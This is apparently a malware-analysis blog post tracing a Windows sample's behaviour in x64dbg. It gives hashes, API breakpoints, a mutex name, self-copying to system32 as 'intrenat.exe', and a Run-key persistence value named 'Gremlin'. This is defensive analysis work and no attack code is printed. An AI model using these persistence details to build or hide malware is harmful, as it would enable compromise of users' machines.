SHA256          6CD0666EE68849E57E054C6A009366868494C4EC73723F607473375518591496       C:\users\securitynik\appdata\local\virtualstore\windows\sync-src-1.0...
SHA256          6CD0666EE68849E57E054C6A009366868494C4EC73723F607473375518591496       C:\Users\SecurityNik\AppData\Local\Temp\sync-src-1.00.tbz

Looking deeper into one of the files from a Hex perspective, we see.



At this point, I don't know what to make of this file. Maybe I will learn more about it when the file is being accessed via x64dbg.

To finally get going with x64dbg, here are the breakpoints I set.

SetBPX Kernel32.CopyFileA
SetBPX Kernel32.DeleteFileA
SetBPX Kernel32.CreateMutexA
SetBPX Kernel32.CopyFileA
SetBPX Kernel32.GetDriveTypeA
SetBPX Kernel32.GetSystemDirectoryA
SetBPX Kernel32.GetTempPathA
SetBPX Kernel32.ReadFile
SetBPX Kernel32.CreateFileA
SetBPX Kernel32.WriteFile

SetBPX Advapi32.RegOpenKeyExA
SetBPX Advapi32.RegCloseKey
SetBPX Advapi32.RegSetValueExA

SetBPX user32.wsprintfA

SetBPX ws2_32.send

Here is what that looks like


After hitting run, the first breakpoint to be hit was CreateMutexA. Looking at the Handles within x64dbg, we see the Mutex created with the name sync-Z-mtx_133. Remember this was the same name we found during static code analysis with Ghidra.



Continuing to run the program, the next breakpoint was GetSystemDirectoryA, which returned: C:\\Windows\\system32


Continuing to run we next hit breakpoint CreateFileA which shows the creation of a file named intrenat[.]exe in the c:\windows\system32 folder. Remember this was returned from GetSystemDirectoryA above.


Running the program again, the next breakpoint to get hit was CopyFileA


Above we see the original file juice[.]exe was copied to the c:\windows\system32\intrenat[.]exe file. Note also the third parameter 0x00000000 means if the file exists it will simply be overwritten. Interestingly, at this point I did not see the file in my c:\windows\system32 folder. Maybe I missed something or I will see it later.

Next up, we hit wsprintfA function which is writes formatted data to the specified buffer. Here is what this looks like.


 Above registry entry confirms what we found during the static analysis of wsprintfA above.

Continuing to run, we next hit RegOpenKeyExA breakpoint. I'm skipping this as we focus on RegSetValueExA below.



Above shows the registry value Gremlin is being written in the Run key. We also see 0x21 (33 decimal) bytes are being written and the data contains the intrenat.exe file and path we saw earlier. 

Ok. I've done enough for this post. I believe I've learned what I wanted to for this post.




References: